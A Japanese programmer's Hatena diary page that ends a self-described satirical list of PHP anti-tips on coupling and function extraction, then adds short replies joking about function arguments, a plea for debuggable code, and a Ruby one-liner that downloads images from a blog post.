一見同じように見えた処理でも前後の流れでまったく違うものということが往々にしてある。

まとめ方にも問題があるケースもある。何でもかんでも関数化すると、関数が膨大に増えていく。君は見たことがあるだろうか。common.phpやfunction.phpの恐ろしさを。

確かに細かく関数化はされているが、適切に関数化していないのである。結合度が非常に高い。なんでもかんでも盲目的にまとめれば良いという話ではないのだ！

20. 結合度は適切に減らし、適切に結合せよ

あまりに極度に意識しすぎると、プログラムそのものができなくなる。そういう状態に陥る。

気を抜いて。そう気を抜いて。所詮あなたのコードなんてすぐに消えてなくなるよ。きっともっと偉い人が作り直すよ。だからまずは思うが侭にやるといい。

結合度を減らすというのは非常に難しい。何度も何度も失敗し続けて、ようやくここは分けた方が良かったんだなと気付く。次に活かそうと心に決める。そしてまた同じ過ちを繰り返していくわけだ。

まずは実装することだ。これが一番の早道だ。まずはがっつり結合した関数をあえて作るといい。何も考えずに作ろう。

そしてその後に、一部分使いまわしたいとおもうことがあるはずだ。その時に関数に切り出そう。それを繰り返すといい。そのうち初めから分けた方が良いと気付く。

何事も経験が必要である！経験を積まないプログラマは丸めてゴミ箱に捨ててしまえ。

さて、先の例で言うならば、私ならadd_result_outputという関数を作ってしまうだろう。だって、addとresultを連続して呼ぶのはめんどくさいんだもん。一連の流れをいつも使うのなら、その流れをやってくれる関数を作ればいいじゃないか。

function add_result_output ($iVar, $iVar2) {
    $r = add($iVar, $iVar2);
    echo result($r);
}

もっと言えばクラス化してしまってもいいかもしれない。どんな感じになるかは君の手を動かして確認しよう！

最後に

このTips はとてもわかりにくく、ニッチ過ぎる部分も多いかもしれない。

しかしもう一度タイトルを確認してほしい。

あくまでも「より良いPHPerにならないための20 Tips」なのだ。

君はこの記事を鵜呑みにしてはならない。PHPをPHPと見抜けないPHPerはPHPを使うのは難しい。

おまけ

もし、あなたがPHP プログラマなら、公式のPHP ドキュメントはあなたのケツの穴を拭くための紙になるだろう。

私は、それぞれのセクションを眺めて、各関数でどんなことが出来るかなんぞ、歯クソのゴミ程に役に立たないとおもっている。動けばいい。はは。

あなたは、PHPで用意された既製関数で多くのことが実現できることに、（俺の仕事を減らすなと）驚くはずだ。

この記事があなたの役に立たない事を。

どんなコメントでも待ってます。

ふざけんな！

個人的な感想

この記事に書かれている内容は、丸めてゴミ箱に捨てた方が良いレベルです。

もしここまで読んでしまったら、丸めてゴミ箱に捨てましょう。

プログラ増田のあなぐら

Permalink | トラックバック(4) | 22:34

2011-02-09

■http://anond.hatelabo.jp/20110209221517

JavaScript ではローカル変数にアクセスできるけど、

たとえできなくても引数で与えればいいだけのように感じられる。

JavaScript の内部関数は this 値が変わるのが面白いよな、that = this なんてよくやるわ。

Permalink | トラックバック(0) | 23:42

2010-10-04

■http://anond.hatelabo.jp/20101004121318

その認識がさっぱり分からないけどこれがリア充()

リア充関数ですか。引数はなんですか？

Permalink | トラックバック(0) | 12:34

2010-10-02

■http://anond.hatelabo.jp/20101002111112

引数は「笑」だろJK

Permalink | トラックバック(0) | 11:40

■http://anond.hatelabo.jp/20101002110128

或いは「生活費の為ではなく自己実現()

自己実現関数か。引数はなんじゃ？

Permalink | トラックバック(2) | 11:11

2010-09-20

■[ruby] みんくちゃんねるから画像を抜き出すワンライナー(改)

最近の記事は http://anond.hatelabo.jp/20100727011929 だと画像が取れなくなっているのでちょっと直した．あと引数で記事を指定できるようにしたよ．＜＜を半角に直して使ってね

ruby -ropen-uri -rnokogiri -e "Nokogiri::HTML(open ARGV[0]).search('img.pict').map{|e| e['src']}.each{|http| File.open(http.match(/.+\/(.+\.jpg)/)[1],'w'){|f| f ＜＜ open(http).read }}" "http://minkch.com/archives/51611588.html"

Permalink | トラックバック(1) | 11:53

2010-08-27

■http://anond.hatelabo.jp/20100826113908

ふたりえっち（）

ふたりエッチ関数ですね。引数はとらないのですか。

ふたりエッチ（夫, 妻, 仲良し度, 結婚継続年数）

こんな感じで

Permalink | トラックバック(0) | 09:08

2010-08-26

■http://anond.hatelabo.jp/20100826113303

ふたりえっち（）

ふたりエッチ関数ですね。引数はとらないのですか。

Permalink | トラックバック(1) | 11:39

2010-07-28

■http://anond.hatelabo.jp/20100728220232

それは、使ったほうが分かりやすい例ではあるけど、わかんない人も多いかと思うよ。

それよりも、関数を引数にするアルゴリズム関連は　正直　やめてほしい。

長めの関数の中盤ぐらいに書いてあって、その中の値がおかしいのか、デバッグするときに、関数本体がどこにあるのか、

わざわざgrepしなきゃいけないとか、時間がもったいない。IDEでジャンプでもいいけど、IDE サポートあってもめんどうだ。無いことだってあるんだよ。

その関数が随所で使いまわされているなら、まだわかるけどね。

かいている人間は、それでいいのかも知れないけど引き継いでデバッグする方の事も考えて書いて欲しい。

巨大なシステムやってると、書く方は量が少ないが、デバッグする方は、システム全部デバッグしてるんだぞと。

そうならないように、モジュール化してくれるのが一番だが、どんなにモジュール化してあっても、どこで起きてるかわからないから、全部見なきゃいけないバグなんて余裕で起きるんだよ。orz

100時間ぐらい、高負荷テストしてると落ちるとかね。当て推量はするけどさ、たのむ、みんな、分かりやすく他人がデバッグしやすく書こうぜ！

Permalink | トラックバック(2) | 22:17

- 転職ならen
- 派遣ならen

「引数」を含む日記

■RegQueryValueEx REG_SZ UNICODE版とANSI版

■「コンピュータプログラミングの概念・技法・モデル」の目次

■「コンピュータ基礎理論ハンドブック2 形式的モデルと意味論」の目次

■start コマンドで起動したい実行パスに空白が含まれる場合 単純に""で囲ってもダメ

■WSH(Windows Scripting Host) でショートカット作成 と 例外:0x80020009

■クラッキングされたサーバで実行されていた怪しいコマンドを晒す